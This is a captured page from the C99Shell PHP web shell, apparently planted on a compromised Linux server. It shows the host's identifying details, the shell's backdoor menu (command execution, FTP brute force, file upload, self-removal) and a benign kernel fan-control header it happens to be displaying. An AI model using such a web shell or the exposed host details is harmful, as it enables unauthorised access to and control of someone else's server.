!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-5.15.0-151/arch/mips/include/asm/mach-loongson64/   drwxr-xr-x
Free 28.46 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     loongson_hwmon.h (1.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __LOONGSON_HWMON_H_
#define __LOONGSON_HWMON_H_

#include <linux/types.h>

#define MIN_TEMP    0
#define MAX_TEMP    255
#define NOT_VALID_TEMP    999

typedef int (*get_temp_fun)(int);
extern int loongson3_cpu_temp(int);

/* 0:Max speed, 1:Manual, 2:Auto */
enum fan_control_mode {
    FAN_FULL_MODE = 0,
    FAN_MANUAL_MODE = 1,
    FAN_AUTO_MODE = 2,
    FAN_MODE_END
};

struct temp_range {
    u8 low;
    u8 high;
    u8 level;
};

#define CONSTANT_SPEED_POLICY    0  /* at constant speed */
#define STEP_SPEED_POLICY    1  /* use up/down arrays to describe policy */
#define KERNEL_HELPER_POLICY    2  /* kernel as a helper to fan control */

#define MAX_STEP_NUM    16
#define MAX_FAN_LEVEL    255

/* loongson_fan_policy works when fan work at FAN_AUTO_MODE */
struct loongson_fan_policy {
    u8    type;

    /* percent only used when type is CONSTANT_SPEED_POLICY */
    u8    percent;

    /* period between two check. (Unit: S) */
    u8    adjust_period;

    /* fan adjust usually depend on a temprature input */
    get_temp_fun    depend_temp;

    /* up_step/down_step used when type is STEP_SPEED_POLICY */
    u8    up_step_num;
    u8    down_step_num;
    struct temp_range up_step[MAX_STEP_NUM];
    struct temp_range down_step[MAX_STEP_NUM];
    struct delayed_work work;
};

#endif /* __LOONGSON_HWMON_H_*/

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--